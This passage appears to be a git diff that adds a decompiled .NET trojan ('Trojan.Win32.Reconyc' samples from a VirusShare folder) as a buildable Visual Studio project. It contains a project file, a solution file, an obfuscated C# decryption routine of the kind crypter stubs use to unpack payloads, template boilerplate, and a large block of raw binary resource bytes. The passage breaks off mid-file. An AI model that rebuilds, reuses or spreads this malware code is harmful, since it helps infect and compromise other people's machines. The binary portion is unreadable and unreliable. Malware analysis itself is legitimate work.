ϵ@ ¾qiiÕÉ¿¿GxdJ£QDÁkøÒ›¡Ùµ…‚Ä„¤ œ˜öÐÚ$ºl—ø&ëë‚T°Ž°™¿fÆ[ÆäIÉ ô{³ü¢ÓÏl©y›¾X˜àå2òÇÐÀ>Ä&´×î~WîÝ̇|[Íû~öòéU
|
||||
bD©ü-¸X÷"\Ư.û,IÎÆ ä¤ÜXäàŽ¨¢\‚T‰æ8õõœJ®®‡¡xØEØúW×¾êeâ¼ÍÑr·g… F†þø/Îõ(¦OÏd͈×%¯†Ù¾ÿGÜkÕÞ5šÆnÙ©Úš¥/¬aºü~û†—.Ëãªè,ˆ;«>ä¤ÜXäàŽ¨¢\‚T‰æ8õõœJ®®‡¡xØEØúW×¾ZÖ™“ãùZ¸Æê•s³ËÍÚ¡¦› ï€d¥çkÂë´FÌÁžù¸�›,þºÖ~ɹºúÅOÌAšÜnë–‡0Õý°Šò6’!±·8â¢Ú^âæˆ®¤Y‡Qˆç9ôôK¡Ÿ ‰¯vÖKÖôYÙ°ä›SR#?œY‰k~˜X &ñ1JM+öxAÁRðµêâË”Xà{Ìry’*=aÉ~}=ˆÆ;¹<½¶ê‹±É
|
||||
©ŠŒÅ…ýyÅÁ¯‰ƒ}£u¨ÇÔÔ½k±¦€YùdùÛvöŸËDŒÃìðS–F¤g§ßÙε²ïÔ ‡n®îEì©öާøŸÞf2ôŽØ3‹œÀ ýþ¾±;¸u2tösòãZ¿—ÞäœXüOßÙJðˆPñƒH¶h¾cø%èè'ÃýÃìʳŽ1œu!®f)w¹|ì+Ø+ü<G@ó'©@€€+‚ǘjàÉtRêqÆxs˜ 7kÃtw7Â'X}cG:+Ê A{ó7“ ª¬?å˳7‹áÇÍ3í;æ‰WšÚ³eÁ¡aí_÷ôiôz!¡Èœó;t*WKè-‰kN¨hÁz} ÆHá!a:í6œüÉà¿Ø-—»>Õmz*‚5Eþ¾ˆEžØZߢ³
|
||||
ïÇNt¸¯?9ªp0HÌpt<6ÏÇu«fu£GyGnH‘1¬1¾>CÌô»å”ˆ+î>Üùß§¡v¶ÍÊ—¬qÿÖ–=”ÑŽ|ö߀禅2Œ‡lÔß7€ðƒÃüvõ8ã¥'¢ßÎw’ºóɱuÑbòôg½ý…½¹×ñûÛ
|
||||
пa¬¬Å÷É÷Þø!£Žç³<ô»å”ˆ+î>Üùß§¡v¶ÍÊ—¬qÿÖ–=”ÑŽ|ö߀禅2Œ‡lÔß7€ðƒÃüvõ8ã¥'¢ßÎw’ºóɱuÑbòôg½ý…½¹×ñûÛ
|
||||
пa¬¬Å÷É÷Þø!£Žç³<ô»å”ˆ+î>Üùß§¡v¶ÍÊ—¬qÿÖ–=”ÑŽ|öÃìK
|
||||
¼9ùûbvXäÐho\céj§|:¸=@Qè
|
||||
%lV.êNýmkø"bžšŽ †ˆv¨~£ÌßÏ”‚f\4Ýû"Ï’)÷·Þ’S[ž<`Ãv÷ÕðbtLJ”¸Œ5‚"\¦NcWÓºÿ+’žYXàð¸–ɦq->I8¦¾ö<¿ùb%Ú›Èqç¯pHó¤¯é{Ä@Ï‹7¸1Æ`é¢vè$IíÉ÷B«Œp�²oMk«Ã²Iöù§M³&Ã%nÖÑÛ?›\Á\Óà‹"ÜC°ßÖVñ°ó(žjÖ.9î°öÁ¾4,¡{PæLñàÒ÷Þ²˜ÏËoW�¶˜·34ðŸT.çù/iÆùeSÅ!dš²±ÀÒO抆VŽI¬€N„&nî—Ì„¿¸^%ù÷XXóÑÔŠ—ÑΩc›Ói2™!‹—`RÑÚ“šWXö™åóPñå@yLÙ‘å‡Ä‹õ
|
||||
õV}ÐåÈEj´Ä®W‡É·ž/¶ïbý}¡µ5–ÃòîÖS‚EH^^&µ¢aýækMLe¤9r‹ŽÑ®dJNuügKµÃ¯KHÑ)[ë˜U!«³×äæzÿ‚=„yÿ·Ž÷ªÊ½>)_'.›¬[]‡bÄŒ'•`ïisÊ´Š,:xíHv»’Æœ”LbØ•isÙS¾OL ß#¢½ášÔäñÓ®×¾|¦“Ô¯?˜ï<È[')ißH@ÉÎŒ™I£×zoY†‡š)2ô{fSë¼zûÉ÷fŽÅ+ÇÖÑ7¯·½`ÀÖG–ûfɃÆå_"‡f«æÎ—úîÊȈŠýM·fŒÐÔèGe·òhÊÑj/�#µ²}0óó_aÁŽC NÁµkÝ^<ûˆš:"Ïû[a¿¹“Zv.–]†´6ä®Ëª»ßŠÑ!û|%q<Q‡åHQÈ9fãì²hŠêº*4~›Y–ÁÑYºkný¶íóX”ΫãÎf‡ª
|
||||
0Ž»çÌÚà~Þ/Ðl¬Ê˜—--D@(L¤aÆtN',¿YG¸#ù;J‘£§‹
|
||||
|Sæ¶ø1¯3ª0˜“ئæA
|
||||
Äý‘Š˜}H
|
||||
€ãAu©«WõÐ’Ù=³6Ò-öH”ÑÒsŸØ!®Ê`þê!
|
||||
!¸N)
|
||||
æqøÊ÷kÀ›Ôàá,>¹NÁ°OðjÈÖ¹fÕ¾„ÒDÞ‚¸à¢Ïµ
|
||||
‡Õ 7j¦Dü°ý›u²phœöP4²õ¿¼œmaLVÄfJ?…ŠÞŽ3ó6¯è;7^¡ûòµ5£jÚcàIsg® ÎDg«±
|
||||
üf¤ÿ[X—–øªŽ+ ó¡iDØïV¡Î€Á´gK4•q‚"¼ÅÄ&¦"a,p~25壼¢H•Ìu4ŒgÐëùLô㯧Ë;±‰LJÈM1_+ôÍ
|
||||
ÉMþnÒ;á‰%¤íÓ@û w6z9˃>§=nM•6/rßEmÐ_—"|øã½‚}Y¼1 †Tó*À^õ•ñO4ï#R˜r?ۀ禕´½VÎÙ……2BAÓ±ÐOFË!ëÉ3þCõ2—$´3†\eâÅ^4èîˆVà=RVìÔù3ÔëLhÍYùøBõk£ÎQ✃!hx/'i©QW€Ú¡)i¢WwšYÀ)ã¿.È:žo
|
||||
;ûžÁ‘^cÀëÔpwüx´l_”ªƒvû—ûND9¡ábkÑfÐ7R.*¿“â‰Ø@/ -X(þß¼ÉEÈÃ3i¬^0¢(kòǰìa^ßÅ.$lWXþχ‘p+aÏþ¯+¥ÃÖ3h¢¦ÚŒ‡ìTC©
|
||||
w™™®”oÜNÍÅøžÑóÀÙ.–RõFÖÐÜP?¾ãWú630)$$
|
||||
Ú…Â+²dAX!º®Ö7üÈh“|]¹&Ï
|
||||
µD›@¼“m±Î=—ÂB^ï€N§+ãO,a’§4L $³ÇgÝËÌ–·5 ÚÊêC·îÑÕ5ýleö,“‰
|
||||
†éF8:Г
|
||||
‰g36Ô¾~\?Ú˜QHBƒÈa5#â¶µ³¶žóž¥Ìõ@ƒF‰0b’F:^åÓZlºƒUÈázòÝÊè!ÍVÒ87=°°&`Wñ
|
||||
ï÷¾„qh̸nvÖFÖŒ
|
||||
eþ4}©¬±I”DW‹Z+¢rì|!¼Ãuj¯t¿·JeœøMðÄZÓ” žÂ61»ju ]0Ôˆ®£Âé†|Þ·S×nÆqÏG‘).sØähw?Yþ°Eqû‡
|
||||
Ë˽áÕèT=BŒ™%QÜuOä.?)ôÕ_ƒR#Ý›;SÌÜ·ãRHº¹µƒL©¨¾é—&ôÈ«Ú[€»–*^|È£l™Ezõ´L×`¥£wÁf§ÂŠf(›“°Gßò(Q´ž×í•Îckûjþü£gÛs K
|
||||
Þ¤(Xð·+½
|
||||
ÎY%Ž¿©ÚÐÛ¾©
|
||||
ˆÖ$Âfb²Pô8ø@GŸÊts™¥M‚昃&äïˆ}Á™Š:>wñ4Ù`tNù‡X*¤\ˆRjàøF[á3À=-±·«ºgŒ67fA\ì§zu"ö-5n×~µkª½<¢¯j£v+¨ªßVÆŽ Ý4õŠ Z¾ÉÎ&³áÛÊ®`ØtXnRªˆ:Ä;,Ø"÷âQ¢w¤ŠÂU�™È$çõµsÅÙø§l*¹âëœYåáµh¿Ùý#wy
|
||||
Ñ®šÑøG˜}2Ûö&¬ŽµÆž]&q*÷¼ùA&ÆÔ2`wp-@ôˆ
|
||||
´f?x²ƒS†ðô–ñ"²ÈaÙ$ÛwpúÍ_©OÚ×ßzn|•_üNYÛl¦æfEµ¿‰4¬F¥âÊ,þ&• ¢¨Ö0½vµ5\0´QŸZ‚Š"ÒÌ+è—dܧ\Uûš8Á~bí¼nöl¾‘ñ—im*3 gƒ•Æo‘ÞnÜ:]„ÐꌄIü7óÕÉÒ¤¨(x/æš.o,•Y<è{.M£ÆlFõó=ÍÊkÏ;·8DYœáÙŠ^+8ÁóJ‘u›\ÅWð,çvRŸÌ>9�ÒKâÀBôE{›ž…=¦?ć@£Ñ=SnuÈÝUDzoÊê#ÓuÆVÑ¥�… ¨š¹ãœlº§Éb¶³a>Ì–£X$›ÁÌ yúɲ€l|û&ò(Ïz^t[‚ýD@]ÓÒ¿ø,„6…‰'ìÌá¶]óur®Z·8ÚR/ÐæÍÄ}d‘P”T*n¦°üòac–¾&*Œ†Ëu«ey¨dS>5¶'M¼¡ãó‘Q\!¤~ä0Í7Ô%Ʊû¢üRÉÎurǸnáWT2[ÞsMn©rðk´ûù
|
||||
´ëk†qjçÐYÛ®Qê¨-x"ã,gÙÝy"AOÝ�(X-‘••³˜_ŠVÚŸß¶ÝÄÎ6ßù Ñ4¾>W´,…›ê%I1Q@æåœ–AmžøÝ§ƒÃñ¸ruû]RÉàgKs»! nÛ[d$Z;?¹;¿—ÆÙe¦Kø°Ìåx¨®½¢µIõñ#;™+0&û|A‡†èûv ÐùßûvKŠg
|
||||
ŠJ}±éØE$Cþ® p]]%#ã§ÄÞ¥ËW/ïaM¶GXœ›Z?ïæíB/›Ç
|
||||
=N&MÍO…”ÕCþïV(_%]IÐNKÙPPk¯ÁxYG‘Å7áü
|
||||
Û¿¿ TªŒîKj¬5ü°{OK}¸´éÇ;@—’¬£òÐДڄqN*
|
||||
Lœk«/‡®2šÅ«Á†¸SŠWl&WÉÿ6ËÐ]\üÂRë´QÑ©¢AYçÙæÝ6ÉZºº¯‰ÛÔ yß½ÍrC_|vûY<ÚÖæ‰©n3ðÆ^¶uMºÔQÄc@fúk=¬ÙŒ"™œæ†C 2~¼gû¹<ÔÎ൙KL4*NýàVÙŠþúó¿£Lpz”JœÀˆImFÙ5’¾œ9eþÞÔ ›ã—@mÁ^†ä?P•n&ôõ„MƒR+ë&©d˜c"}•(ôcOõÒD “3µxGãÀÅjÓ%»G¡všïÑ^ž86¹êZ¿wïòÀ–çé‡BasüUƒÈ…4I’VÆÀâØ©=‘…r¦N7n<b~‚ÉPâtÆŠ<ˆRÜŒé€ÅÕÔ#+oÞ+ðGü÷¤|àÃu¸Ê,·±<°EP¯WoÊœ¨à!}]vÏOÕk>Nƒ="LjàëdZÅÖ,âñ–®”9l‚œØôYÙ0˜ÏŒö|h-CV·×Zbd.Þ*WÀK
|
||||
¢ŠL=ózFùÕÔlï#çìò~âÏ~õ‹;ën(ƒZ˜Œ§ùÐÚmÓûBE¹>|€¼/9P#ÝÝaìÕürHã¼®1ªˆ%%ÏbÛ”JOYÃk²W±u
|
||||
Ü—
|
||||
ŽôË–þ ,½ÅëÜó¯ÉwCÖXëPü²ÝT)7C5>ýià‰( ö6ŒÅ]ŠÝ«0~$ì௧«U‹]÷œ~›Ë¬{œ¯ÿA¢ÁƒµåÓä:È
|
||||
Ε½¡Ç— ÑÖ¯ªü?t~Ë_y’çÓfÿ+Ýkj7_¤´?å{Pàð¼ Fµ#aÅ…ìƒ=8Iq3p<A…ûÀrTÜéG
|
||||
í?<S좰V\WL_ŠÍ))‹iìDDA{¡èºY‰ÃS‰úLˆ4&ó´¶Ä’VºÍë«hÜS–5ˆPeLIn‚¨{0¿ÕE)³”‡úŽÏßD|e3_^Í´2N§—Óî—\m‚.?y÷©"è kÐÛ ™x€fâ>•g<â‘xz¿CΖTÌ]™‘`Ppºð16ÅF1õ ƒ¢ Ȱ”ÔjœP®—1Ld9
|
||||
Å"(áYg#ŒAbŒ†£pÃEü‚Öà9ëi Lí^þøk2Ä Jy=Úù|B™Û¶ýEQrä�ƒaÊø¸¤œ;ö“ÇÝ(èY$¡d?ɈÙÅ?%m¡¾E¢ö(Åp4£°Ó®ÔÓ´õM£PÒݽe}éV]*FäÒu¤ö�†–Ñ1y*J•²53ú’ë›»Í`Üuó*.Zzð*¦7»7B£"H˜×àîצD'â»Ä&S/E5õЗÊ|·R
|
||||
MmxN+¥P‚I,˜š'¹VÂ.¦"íqŠy—H¿£K{–!
|
||||
é5ÍÇ2EJ‚ƒzzJ,&Ø„’Êà:¹ùºÝ÷,Z^>£7¸8J3]‰Œ’ãz¡f!´™%¥ÝR‡kª7N�íErÔ|:Xꃒ‡ á¬÷ã¡`Kó!æÄºwŒß›¿×ñkÞÓ›Óê“ÂEÍF:¸èªnÒ¾ÐÃÎ1P"Û¼ý€í ï1t|÷Ímê€Õc¢ì~éS™°VøÔ2‘œ)Ùü¯ÆGl-ÏZ”Ò'd1U"èA_ÀB3Üds/Ÿwy>„Û•Ô†!ðI'v;nlߟžŽHQw áúœ–½ìþ+ñwAÏZ²´žÍê4ȱ“²=áqÆñ¿â’
|
||||
i!õêò4üù—±g£n¨ßÒÿGò/}`Ф[(s¡£#ÕiÖÚ´È»çÓ{¾‰áàië9~øá`î?“pè 1¯Õàå£0Y†‚s¶9Aâ(]ŒßB.Ïúø\Šb\bÊ…ÑDÅpÝ(È[I”#?ÖFaC©i‚¬çb?'©4º†ìÓÓùø[Ô†ñJzáòùOë:¦nØXgfŸÙ›aüŽíá,e¤Õˆ&(¶/|®«ûp~~XR9Ý’õ‚Ñ6½z¨ÇÓf%ÆeÝÃL㥮™Åñ3±à%5ö¯4fY*,ë+PÖùIѧé(wÝí¢@LÆb]·É½±»Ô¬&dfø”°NÍ�ÛÚ§"ÜV†€¨bÛ£:÷dóóÁ}n‚H¶ÓIpÜ2:•ƒg®ÕVK
|
||||
óíÉK¿'Ì8ðÉ,Žöµiëöëe§ð+Š;•Ã0¹\´EåË>ï¹Ñqz¢n{úHn§}$“4²ýñ}-‚ó¬ÄÏ4Fß «y{}‚¸a³
|
||||
ÂI:gG%¡Â˜ðSCÍDÈ8nls!׋4z®6×sÎß’C•è„DÿXÕ
|
||||
ÇrþrqÚ뤻¶:6ÂÆpðÏEIN›ŠôiQ›¦¦cÈúèä8¢iTÔwÍ¢„Ž¥•–ãX£®®{²Âw †‚m°mOâ–‰5NûôªóÙk|eˆÍ–”ÆFÆž`±?Ö×yÐ…Ú(Qéj
|
||||
Lôä5þ’)»§�ty²¦ØKšlk*„à
|
||||
lN6ãÉŒÃv6àk¨â6ü¯P=xä\¼ šÃh¬< ®P3¨ZUI@Qõ%)R1KÒR)±D¶Ñ%оÏë&Ó>q=šö!Þ’·)-}É8ƒ÷ë™”n+…ü¤%9hžCû{NµçÂ÷•và=×~·´¸Îa!íAá|˜Iäd
|
||||
búsíœýá.°ßy¹B‡TJñö§÷zð4*Áhúe:´ÃÜ»›+J=ƒ!1HiÙª‡€{´à g{d ¬%‘9‰¼bø¸EöNIDµ‹U«{Ø�_Û
|
||||
ó×ð*Á@¯Âœ\s@~˜¼l©ùÔŒ*ªÒÔ—A¢x¥3ë8;•ÙÙSzØ’nŒž¯[
|
||||
èOF›À/H*Û€˜ƒz¨êWFß› ó‹OväL°ÍŽJŽ…»
|
||||
'}FXŽK$ú7þ*€"5xKêwêõj?ν5z˜è"í±ƒá‡´´
|
||||
+49
@@ -0,0 +1,49 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.fpuc-333fe4b596e4becc15486e4c0e2f12bc1d33b9ad394291f35656a5710e82ead7.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{18C44781-E1D1-44D5-99DB-6CD360C38C54}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Ð5Qæªo9E</AssemblyName>
|
||||
<ApplicationVersion>0.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>My</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="ûnµÈ1KPº9üÝrçÛ5ºL.cs" />
|
||||
<Compile Include="ªþÊP5we0CµÖëðNfǵE.cs" />
|
||||
<Compile Include="MyApplication.cs" />
|
||||
<Compile Include="MyComputer.cs" />
|
||||
<Compile Include="MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Td1c3KPi.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Ð5Qæªo9E", "Trojan.Win32.Reconyc.fpuc-333fe4b596e4becc15486e4c0e2f12bc1d33b9ad394291f35656a5710e82ead7.csproj", "{18C44781-E1D1-44D5-99DB-6CD360C38C54}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{18C44781-E1D1-44D5-99DB-6CD360C38C54}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{18C44781-E1D1-44D5-99DB-6CD360C38C54}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{18C44781-E1D1-44D5-99DB-6CD360C38C54}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{18C44781-E1D1-44D5-99DB-6CD360C38C54}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ªþÊP5we0CµÖëðNfǵE
|
||||
// Assembly: Ð5Qæªo9E, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: ADB6FA32-9FFF-4137-9449-DFA399EAD1A2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.fpuc-333fe4b596e4becc15486e4c0e2f12bc1d33b9ad394291f35656a5710e82ead7.exe
|
||||
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
public class ªþÊP5we0CµÖëðNfǵE
|
||||
{
|
||||
private string æqº9ZݺæÇwB2Á1Ráfµªí7;
|
||||
|
||||
public string ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4
|
||||
{
|
||||
get => this.æqº9ZݺæÇwB2Á1Ráfµªí7;
|
||||
set => this.æqº9ZݺæÇwB2Á1Ráfµªí7 = value;
|
||||
}
|
||||
|
||||
public ªþÊP5we0CµÖëðNfǵE(string ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4)
|
||||
{
|
||||
this.æqº9ZݺæÇwB2Á1Ráfµªí7 = "";
|
||||
this.ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4 = ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4;
|
||||
}
|
||||
|
||||
public string ën8LµÍÓºPkú90ãϪCrª5Æ6µGûrmBÕº(string QôªË1dÕ1LúºzDªû6xÅ7Yµ) => Encoding.Default.GetString(this.ën8LµÍÓºPkú90ãϪCrª5Æ6µGûrmBÕº(Encoding.Default.GetBytes(QôªË1dÕ1LúºzDªû6xÅ7Yµ)));
|
||||
|
||||
public byte[] ën8LµÍÓºPkú90ãϪCrª5Æ6µGûrmBÕº(byte[] QôªË1dÕ1LúºzDªû6xÅ7Yµ)
|
||||
{
|
||||
QôªË1dÕ1LúºzDªû6xÅ7Yµ = this.gÕµåÒóYzº1e(QôªË1dÕ1LúºzDªû6xÅ7Yµ, Encoding.Default.GetBytes(this.ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4));
|
||||
byte[] numArray = new byte[QôªË1dÕ1LúºzDªû6xÅ7Yµ.Length - 2 + 1];
|
||||
for (int index = QôªË1dÕ1LúºzDªû6xÅ7Yµ.Length - 1; index >= 1; index += -1)
|
||||
numArray[index - 1] = this.öÅNo4ª3äºCdÙÈL9iwÜçD6ºª(QôªË1dÕ1LúºzDªû6xÅ7Yµ[index], (short) -QôªË1dÕ1LúºzDªû6xÅ7Yµ[index - 1]);
|
||||
return numArray;
|
||||
}
|
||||
|
||||
private byte öÅNo4ª3äºCdÙÈL9iwÜçD6ºª(byte ôÒRy4ªN5cκåÔµ1fƒEQø, short NªÁø1gÌ7fHìµ5øJκyiµüªðP)
|
||||
{
|
||||
while (NªÁø1gÌ7fHìµ5øJκyiµüªðP < (short) 0)
|
||||
NªÁø1gÌ7fHìµ5øJκyiµüªðP += (short) 256;
|
||||
return Convert.ToByte((int) (short) ((int) ôÒRy4ªN5cκåÔµ1fƒEQø + (int) NªÁø1gÌ7fHìµ5øJκyiµüªðP) % 256);
|
||||
}
|
||||
|
||||
private byte[] gÕµåÒóYzº1e(
|
||||
byte[] QôªË1dÕ1LúºzDªû6xÅ7Yµ,
|
||||
byte[] ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4)
|
||||
{
|
||||
if (ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length != 0)
|
||||
{
|
||||
int num = QôªË1dÕ1LúºzDªû6xÅ7Yµ.Length - 1;
|
||||
for (int index = 0; index <= num; ++index)
|
||||
QôªË1dÕ1LúºzDªû6xÅ7Yµ[index] = (byte) ((int) QôªË1dÕ1LúºzDªû6xÅ7Yµ[index] ^ (int) this.öÅNo4ª3äºCdÙÈL9iwÜçD6ºª(ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4[index % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length], (short) ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4[(int) ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4[index % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length] % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length]) ^ (int) ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4[(index + index % 7) % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length]);
|
||||
}
|
||||
return QôªË1dÕ1LúºzDªû6xÅ7Yµ;
|
||||
}
|
||||
}
|
||||
+2604
File diff suppressed because it is too large
Load Diff
+11
@@ -0,0 +1,11 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: Guid("fa784097-ee4f-4858-a68a-bfd71e191052")]
|
||||
[assembly: AssemblyProduct("sRtfqrfzZpPem")]
|
||||
[assembly: AssemblyDescription("qEgdlUE")]
|
||||
[assembly: AssemblyFileVersion("2.0.0.0")]
|
||||
[assembly: AssemblyTrademark("aGTZOntIrFnusd")]
|
||||
[assembly: AssemblyCopyright("fffGifLhTscm")]
|
||||
[assembly: AssemblyTitle("FBshfgsTi")]
|
||||
[assembly: AssemblyVersion("2.0.0.0")]
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: v3.3crypt, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FE568E05-7EAE-46D1-9FCE-549F91511E1F
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.gacr-d47c0a65712aa145bd97605d900844f4aacd274a687fb5962cda290e4e2ab0c3.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: v3.3crypt, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FE568E05-7EAE-46D1-9FCE-549F91511E1F
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.gacr-d47c0a65712aa145bd97605d900844f4aacd274a687fb5962cda290e4e2ab0c3.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: v3.3crypt, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FE568E05-7EAE-46D1-9FCE-549F91511E1F
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.gacr-d47c0a65712aa145bd97605d900844f4aacd274a687fb5962cda290e4e2ab0c3.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
